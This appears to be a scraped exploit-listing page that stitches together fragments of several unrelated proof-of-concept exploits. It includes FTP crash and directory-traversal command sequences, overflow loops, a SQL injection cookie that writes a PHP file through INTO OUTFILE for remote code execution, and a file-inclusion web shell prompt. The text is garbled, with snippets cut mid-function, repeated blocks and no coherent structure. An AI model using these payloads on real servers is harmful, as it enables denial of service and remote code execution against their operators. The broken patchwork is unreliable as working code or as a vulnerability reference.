| New User, Welcome! Login |
s\r\n
Details:
If you could log on the server successfully, take the following steps and the ftp server will stop responding:
first socket connection:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.close()
If you could log on the server successfully, take the following steps and the application
will stop service:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()
If you could log on the server successfully, take the following steps and the ftp server will crash which would lead to
Denial of Service attack:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.send("DELE "+ test_string +"\r\n")
7.sock.close()
"MKD ../A" to create a folder named "A" outside the FTP root directory.
If you could log on the server successfully, take the following steps to create directories outside the FTP root directory:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("MKD ../A\r\n")
5.sock.close()
Severity:
perror("calloc");
return -1;
}
sprintf(buffer, "POST %sindex.php HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n\r\nuser=%s&pass=%s&submit=Login",
argv[2], argv[1], (strlen(argv[4])+strlen(argv[3])+24), argv[3],
argv[4]);
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
sock.send("user %s\r\n" %username)
r=sock.recv(1024)
sock.send("pass %s\r\n" %passwd)
r=sock.recv(1024)
sock.send("LIST\r\n")
sock.close()
> sock.connect((hostname, 21))
> except:
> print ("Connection error!")
> sys.exit(1)
> r=sock.recv(1024)
> sock.send("user %s\r\n" %username)
> r=sock.recv(1024)
> sock.send("pass %s\r\n" %passwd)
> r=sock.recv(1024)
> sock.send("LIST\r\n")
> sock.close()
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
sock.send("user %s\r\n" %username)
r=sock.recv(1024)
sock.send("pass %s\r\n" %passwd)
for i in range(1,200):
sock.send("mkd " + "a" * i +"\r\n")
perror("calloc");
return -1;
}
sprintf(buffer, "GET %shome.php HTTP/1.1\r\n"
"Host: %s\r\n"
"Cookie: fcms_login_id=-1 UNION ALL SELECT
%s,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE
'%srce.php'#\r\n\r\n",
argv[2], argv[1], code, argv[3]);
def get_http_request(self):
http_request = "POST /printers/%s HTTP/1.1\r\n" % self.printers
http_request += "Content-Type: application/ipp\r\n"
http_request += "User-Agent: Internet Print Provider\r\n"
http_request += "Host: %s\r\n" % self.host
http_request += "Content-Length: %d\r\n" % len(self.ipp_data)
http_request += "Connection: Keep-Alive\r\n"
http_request += "Cache-Control: no-cache\r\n"
return http_request
check_target();
inject_code();
$packet = "GET {$path}admin/index.php?lang=../../counter/_twg.log%%00 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while (1)
{
print "\ntwg-shell# ";
begin
puts "requesting stream %s" % stream.inspect
sock = TCPSocket.new(host, port.to_i)
sock.write("GET %s HTTP/1.1\r\n" % stream)
sock.write("Authorization: Basic %s\r\n" % Base64.encode64(pw).strip)
sock.write("\r\n")
response = sock.readline
puts "server response: %s" % response.inspect
buffer = "A" * 1000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",21))
s.send('USER %s\r\n' % "test")
for i in range(1,69):
s.send('PORT %s\n\n' % buffer)
print "Sending request n. " + str(i)
|
|
|
